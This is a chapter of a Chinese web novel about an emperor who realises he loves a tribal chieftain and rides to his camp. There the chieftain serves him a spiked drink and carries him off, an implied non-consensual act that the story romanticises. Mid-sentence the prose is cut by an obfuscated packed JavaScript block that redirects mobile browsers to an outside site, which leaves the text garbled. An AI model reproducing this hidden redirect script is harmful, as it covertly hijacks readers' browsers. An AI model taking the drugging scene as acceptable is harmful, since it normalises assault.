东征西战 作品

161. 知心

城署中,沈行约脱了外袍,后仰着泡在浴桶里,侍者们在旁伺候,为他洗去身上的血污。


昳的声音隔着一道屏风传过来:“所谓降魔幡,顾名思义,就是除魔之物,拿来降妖倒也可以,就是有点大材小用了。”


“早时,人神契约尚未建立,神魔妖灵各域皆可与人界互通,为了扼制妖魔为祸人间,于是就有了这玩意儿。”


沈行约靠在浴桶边沿,静静听着。


昳则继续道:“不过,他这个不像是出自上界的手笔,倒像是……人族的一个试验品?看得出,那里面混杂了不少的煞气,用献祭的人骨所制?有这个可能……你刚才说,救下你那人是胡戎部落的首领,那这就说得通了,最后制服熊妖的、那短暂现出的玄鸟之力,应该正是来源于他们部落的图腾神……”


昳靠着墙根蹲坐,一番长篇大论地分析,像极了是在自言自语。


屏风后,沈行约脸上略带着疑惑,心思却不全在这上面。


半个时辰前,山林中,沈行约厚着脸皮,主动破冰向萧拓示好,结果遭到拒绝;萧拓走后,沈行约半是尴尬半是毛躁地挠了挠脑袋,原地站了会,遂和军队一道走了。


一路上,沈行约心情复杂,直到这会儿到了城署中,还有点魂不守舍。


“陛下,您试下……”王福临时翻找出沈行约的眼镜,木匣呈上,其中一只碎裂的镜片换了新的。


上次萧拓走时,留下的玻璃片打磨了一半,沈行约便交给军中的能工巧匠,先后几次调试。


再这之后,军队战败,沈行约几乎将这事给忘了。


此刻从王福手里接过来戴上,视野骤然间恢复清晰,随即镜片上缓慢地结了一层水雾。


沈行约便又顺手摘下,挂在搭于浴桶外修长的手指间,俊美的面庞氤氲在热水蒸出的水汽里,整个人显得心不在焉。


他跟踪我?沈行约颇有些烦躁地想。


从什么时候开始的?要不是半道遭遇意外,自己完全没发觉。


而且,怎么会这么巧,他的军队途中碰上熊妖,而萧拓恰好现身,手中还有个现成的降魔法宝。还是说……胡戎部落中,也发生了什么变故?


很显然,萧拓此行是为他而来,可面对自己的挽留,又表现得无动于衷,甚至一改常态,转身走了。


他什么意思?


沈行约仍沉浸在那短促的回忆里,反复回味,萧拓走之前看向他的目光,总觉得那一眼别有深意。


“……大致就是这样了,”昳见沈行约披了件浴袍,从屏风内走出来,当即道:“你看,我就说,你的双眼会恢复的!”


在厅堂内落座,沈行约抬手推了下镜框,表情显得很沉闷。


昳对他鼻梁上挂着的眼镜很好奇,问道:“这是什么?”


沈行约没有答话,而是疑惑道:“那只熊妖……之所以会突然现身,发起攻击,只是因为我体内的妖瞳?”


昳捻起一枚洗过的浆果,放进嘴里含糊道:“应该是吧,怎么了?”


沈行约回忆起遇袭之时,最开始,熊妖的目标明确,直奔他而来;而等到沈行约滚落山坡,迫使萧拓不得已而现身时,熊妖便不再对他紧追不舍,而是开始了无差别攻击。


按照昳给出的解释,倒也说得过去。


或许正是在那时,自己的浑瞳便彻底消失了。


联想到此前出现的化蛇,沈行约不禁感到疑惑,种种异象背后似乎有所暗指,难道这就是昳口中劫难将至的先兆?


对于此,昳却说道:“随着赤州大地上,秩序的崩塌,以后这种事情恐怕会越来越多……”


沈行约现出思索的神情。


“陛下,”王福适时地道:“方才彭将军来禀,说军中的伤员都已经安置下去,军医前去看过,检查称李将军伤到了腿,最好静养,若再行军,怕是只能用担架抬着走……”


沈行约收回思绪,沉吟片刻道:“军队在此修整一日,这期间让王役带人做好驻防之事,一日后再说。”


“是。”


王福领命前去,沈行约心烦意乱,望着厅门的方向出神。


昳眨眼间便吃光了城署官员献呈的贡果,转而玩起了茶杯,在桌上转圈,看着他道:“你好像很失落,为什么?”


“因为人族浩劫将至,而你作为一介凡人,只能眼睁睁看着,根本无力改变吗?”昳自问自答地道。


“你也说了,这劫难唯有人皇才能平息,我又不是人皇,”沈行约漠然地道:“这与我有什么关系。”


昳突然按停茶杯,打量起他,发现他在动怒。


从与沈行约相识以来,这还是昳第一次见他隐隐有要发火的情绪,只觉得十分新奇。


“我知道了。”


半晌后,昳一副破案般的神情:“是因为刚才出现的那个人!”


“胡言论语……”沈行约避开目光,不明白怎么好端端的,昳偏将话题引到这上面来。


“他是为了你而来,”昳:“所以你喜欢他!”


沈行约:“……”


“我没……”对着昳那毫不掩饰的目光,沈行约下意识就要脱口而出反驳的话,可转念一想,我不喜欢他吗?


从前两人在一起时,几乎都是萧拓单方面地付出和妥协,在沈行约的角度,自然很享受这种被人追捧的感觉,可如今想来,又不全是这样。


设若换成其他任何一个人,沈行约都不可能接受。


说来他这个人其实骨子里有一点冷血,受不了麻烦,也从不愿欠别人什么,对待旁人,从来都是边界分明,这也导致他在现代那时没什么朋友,相处还不错的只有一个发小兼室友。


唯有对待萧拓,是可以毫无保留地在他身上发泄情绪,无所顾忌。


那种感觉,如同两人之间存在着明确的所属关系,好像他整个人都是自己的所有物,沈行约对他所做的一切全都有名有份,天经地义。


从这蓦然的震惊中,沈行约认清了一个事实:


昳说得没错,自己确实喜欢他。


虽则连他自己也说不清,这感情究竟源于何处。


而两人分开的期间,沈行约一直强迫自己不去想他,然而越是尽力克制,感情的天平就越是朝着不可控制的一面倾斜。


原来不知从何时起,自己已无可挽回地爱上了他。


在沈行约战败后,目现浑瞳,变得不人不鬼,人生陷入灰暗的那段时间,两人再见面时,他宁可说尽伤人的话,不惜以分手来逼退对方,也不愿让萧拓看见自己那怪物般的模样。


归根结底,这源于他心底的恐惧,恐惧什么呢……沈行约细想下来,觉得头疼欲裂。


其实也并非完全对未来无望,大抵还是惧怕。


——惧怕对方因此而不再爱我。


所以哪怕在选择失去这件事上,沈行约也要占据绝对的主动权。


好像他才是这段关系中的主导者,保留着随时可能反口的余地。


那么此刻呢?


待认清自己的内心后,沈行约忽而变得茫然起来。


积蓄的思念无声壮大,在时间的巨树下发展成为盘根错节,可如果连数千年光阴都能跨越,又有什么能够阻止他们在一起?


沈行约睫毛稍眨,仿佛在这一刻打定了什么主意。


“你不说话就是默认了,其实我觉得你们俩……”


昳见他半晌不搭话,单手托腮,正百无聊赖地点评时,面前人影晃过。


昳:“哎?怎么走了?!!我还没说完呢!!”


“王福!王福——!”


沈行约快步出厅堂,浴袍在日光下漫出白光:“更衣,备马!朕要出去一趟。”


片刻后,城署大门打开,沈行约胯|下的战马驶出,披风后扬起尘土。


斜阳下,数骑朝北方大路疾驰而去。


出官道时,沈行约捡了条山野小道,横穿林地,纵马的侧影浸润在身后的万丈霞光里,在护卫一路簇拥下向北疾驰,中途换了两次马,终于在夜幕前抵达了邑野边地。


过边境,到了胡戎营地外,两名甲士为沈行约放行,却将他所带的护卫给拦了下来。


亲卫们不敢冒这个险,又因语言不通,朝胡戎的甲士拔刀相向,被沈行约呵斥了回去。


“不必紧张,”其中胡戎甲士用生涩的中原话道:“来者是客,我们王上为诸位准备了帐篷,可供休息,请随我来。”


“去吧,”沈行约正没空管他们,摆摆手,转身朝内走去。


他来到胡戎的营地,简直就像回了家一般,不知是萧拓有所准备还是什么,沈行约往驻地走时,一路上既无接待,也无引荐,倒是碰到了不少从前的熟面孔,大都是萧拓手下的亲兵,看到他既不阻拦,也不


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16318333|161534||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


恭迎。


沈行约如入无人之境,在营地自由通行,亮起火把之时,他轻车熟路地摸到了萧拓所在的穹庐大帐。


帐前的驻地旁熏起篝火,一侧置了行军桌,萧拓肩披狼披,坐在正中的兽皮王椅上,看到黯淡天光与篝火的映照下,沈行约突然出现在此,眼中没有丝毫意外,自酌自饮地举杯,喝起了酒。


营地的守卫纷纷离开。


沈行约站在木栅围起的营门处,略站了会,一咬牙作出微笑模样,到他身前,手按在萧拓肩上。


“一个人喝闷酒,不请我一杯?”


沈行约视线扫过桌上酒菜,转到萧拓脸上时,发现遭到了他的冷待,手指僵硬地搭在对方肩头,只得尴尬收了回去。


萧拓目光转过,淡然地一瞥,示意他坐。


沈行约拉开椅子坐了,正想说点什么,低头思忖时,发现在他落座的桌前,还摆了一只盛满酒的酒杯。


他知道我会来找他?为什么?沈行约忽然有种被人拿捏住三寸的感觉。


这种感觉令他相当不舒服。


“做什么,”直面这种挫败感,沈行约选择了自认倒霉,开始没话找话道:“生我的气?”


然而看萧拓神情,又不像是在生气。他沉默地饮尽杯中酒,盯着桌上空杯,仍一言不发。


沈行约骑了好几个时辰的马,这会儿耐心耗尽,终于忍不了了:“喂,说句话!要不然我发火了。”


“你找到我的营地来,就是为了来冲我发火?”


萧拓回以目光,幽黑的双眸沉静似水。


好吧……沈行约只得认栽,自我安慰起来。


不管怎么说,自己这次是主动的那个,舍下脸皮……似乎也没什么。


沈行约想找点话说,奈何一时哑然,四下看去,却见昏沉天幕下,旷野幽静,只有风声吹拂草地,篝火点燃的噼啪声响,夜幕下的草原,颇有种苍凉旷远之意境。


邑野之地,虽名义上在沈行约的统辖,可事实却是他第一次来,以为会很荒凉,却没想到,是个水草丰美之地,且前不着村后不着店,正属草原的延伸地带。


“你这……”


沈行约啧啧道:“你改我的地方,当土皇帝感觉不赖嘛。”


萧拓:“……”


原本萧拓已做足了心理建设,不防备沈行约突然冒出一句方言,顿时破功,以干咳掩饰笑意:


“……别说方言。”


方才那一下,萧拓唇角翘起的弧度被沈行约尽收眼底,细微的神情变化,却令他心底像荡开了一片涟漪。


“你不生气了?”


沈行约向来是就坡下驴,拿手肘碰他,调情般地离近些许:“我来找你,你就一点都不惊喜吗?”


然而仅仅片刻,萧拓态度又冷下来,恢复了那种寻味而又疏离的目光。


“行行行!”


沈行约彻底认栽了:“是我不好,我自罚三杯行吧!你别用这种眼神看我,怪渗人的。”


萧拓略一扬眉,示意他自己看着办。


对方总算有了反应,沈行约在心底长舒一口气,端起酒杯,忽又打趣道:“要不喝个交杯酒?”


萧拓默然不答,瞳仁中倒映着摇曳的火光。


沈行约将酒杯敲在桌上,利落地把盏饮了,三杯酒下肚,看向萧拓那目光似又不一样了。


“哎?”沈行约托腮看着他,开始动手动脚,说:“别装了,我刚才看见你笑了……”


萧拓的脸色缓和,仍一副置身事外模样看着他。


沈行约随手一扯衣领,吞咽口水,“这地方倒是和草原差不多,看起来,签订这个边盟还是个正确决定了,否则等我的军队开走,你们胡戎还不后脚就打过来……有水吗?”


萧拓为他斟满酒杯,推过来,沈行约忙道:“不喝酒,太烈了,这是什么酒?喝得人胃里发热……”


话音停顿,沈行约忽觉不对:“你刚才给我喝的什么?”


萧拓站起身,居高临下道:“是你自己要喝。”


沈行约晃了下脑袋,眼前之景越发迷离,他尝试自己起身,脚下踉跄,被萧拓扶住。


沈行约推他没推开,根本使不上力:“少他妈废话……你你给我下药了?!”


“再说一次,是你自己要喝。”萧拓手上带着不容拒绝的力度,话毕将他打横抱起,朝毡帐走去。